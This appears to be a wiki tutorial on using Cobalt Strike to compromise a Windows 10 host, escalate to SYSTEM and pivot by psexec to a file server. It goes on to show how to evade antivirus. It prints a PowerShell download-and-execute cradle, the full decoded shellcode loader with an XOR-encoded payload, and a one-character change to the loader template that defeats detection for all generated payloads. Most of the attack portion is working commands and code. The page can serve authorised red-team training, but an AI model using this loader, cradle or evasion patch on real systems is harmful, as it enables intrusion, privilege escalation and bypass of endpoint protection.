From aldeid
Jump to navigation Jump to search
You are here


Setup the listeners

In this attack scenario, we'll compromise a Windows 10 machine using a here listener and pivot to compromise a file server using a Beacon-SMB listener.

First set up 2 listeners:

  • a HTTP listener as described here.
  • a SMB listener as described here.

Initial compromise

Compromise the machine using a scripted web delivery attack over the Beacon-HTTP listener.

Latteral move (uac-token-duplication)

Once done, we'll elevate to another process. To do that, right click on the compromised host and select Access > Elevate:


Now, from the popup window, select the SMB-Beacon listener and the uac-token-duplication exploit.


It should result in the creation of another session (elevated)


Privilege escalation (svc-exe)

Right click on the elevated session and select Access > Elevate. This time, use the svc-exe exploit:


It should result in a third privileged session with SYSTEM access:



From the menu, go to Cobalt Strike > Visualization > Pivot Graph. You should now have the following graph:


Right click on the first session (in the above example, PID 2652) and select Interact. Now, enter the following command:

jump psexec64 ec2 - smb


  • jump psexec64 will allow us to pivot to another host in the same network using the psexec64 executable
  • is the host we want to jump to
  • ec2 - smb is the name of our Beacon-SMB listener

We have successfully compromised a new host using a Beacon-SMB named pipe, to compromise a new host:



If we want to unlink our host from the FILESERVER, let's do as follows:

beacon> unlink 2612


It results in disconnected lines as shown below:


To connect the FILESERVER to our WS10 machine, right click on the FILESERVER asset, select Interact and do:

beacon> link WS10 msagent_58d6


Now, let's spawn a new session as a different user, using a Beacon-TCP listener.

Right click on the WS10 asset and select Access > Spawn as. Enter the user's credentials, select the Beacon-TCP listener and click Lauch. Notice that we could also use a command line:

beacon> spawnas .\thomas awesome_password ec2-tcp

It results in a new session:



Without template modification (detection)

Run the payload

In Cobalt Strike:


It results in the following command:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''))"

In Powershell ISE:

  • Paste the command:
IEX ((new-object net.webclient).downloadstring(''))
  • Replace the IEX instruction by Set-Clipboard -Value:
Set-Clipboard -Value ((new-object net.webclient).downloadstring(''))
  • Execute the code (F5). Remove the string and paste the content of the clipboard:
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAA[REDACTED]fwfyNdd1JNWBQA="));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
  • Once again, replace the IEX instruction by Set-Clipboard -Value
  • Execute the code (F5) and paste the content of the clipboard. It results in the following decompressed code:
 1 Set-StrictMode -Version 2
 3 function func_get_proc_address {
 4 	Param ($var_module, $var_procedure)		
 5 	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
 6 	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
 7 	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
 8 }
10 function func_get_delegate_type {
11 	Param (
12 		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
13 		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
14 	)
16 	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
17 	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
18 	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
20 	return $var_type_builder.CreateType()
21 }
23 If ([IntPtr]::size -eq 8) {
24 	[Byte[]]$var_code = [System.Convert]::FromBase64String('bnlicXZrq[REDACTED]IyMjIyMjIyMjIw==')
26 	for ($x = 0; $x -lt $var_code.Count; $x++) {
27 		$var_code[$x] = $var_code[$x] -bxor 35
28 	}
30 	$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
31 	$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
32 	[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
34 	$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
35 	$var_runme.Invoke([IntPtr]::Zero)
36 }
  • If we execute this code (F5), it will be snagged by the Anti-Virus. Now, comment out (prefix lines with #) lines 30 to 35 and execute the code (F5).
  • At this stage we know that the code lying at lines 30-35 is responsible for the detection:


Identify the necessary modification

Now, notice that if we modify the 2nd argument of the Copy function from 0 to 0x0, it seems to bypass the detection:


And we have a session created:


With template modification (no detection)

Modify the template

Let's modify our template. Go to your "resource kit" folder and open the file named "template.x64.ps1". Apply the modification exactly as we did previously.

If ([IntPtr]::size -eq 8) {
        [Byte[]]$var_code = [System.Convert]::FromBase64String('%%DATA%%')

        for ($x = 0; $x -lt $var_code.Count; $x++) {
                $var_code[$x] = $var_code[$x] -bxor 35

        $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
        $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
        [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0x0, $var_buffer, $var_code.length)

        $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))

Load the template and run the attack

Now, in Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the "resources.cna" script:


Perform the same steps as previously. This time, the payload will directly contain our modified Copy function.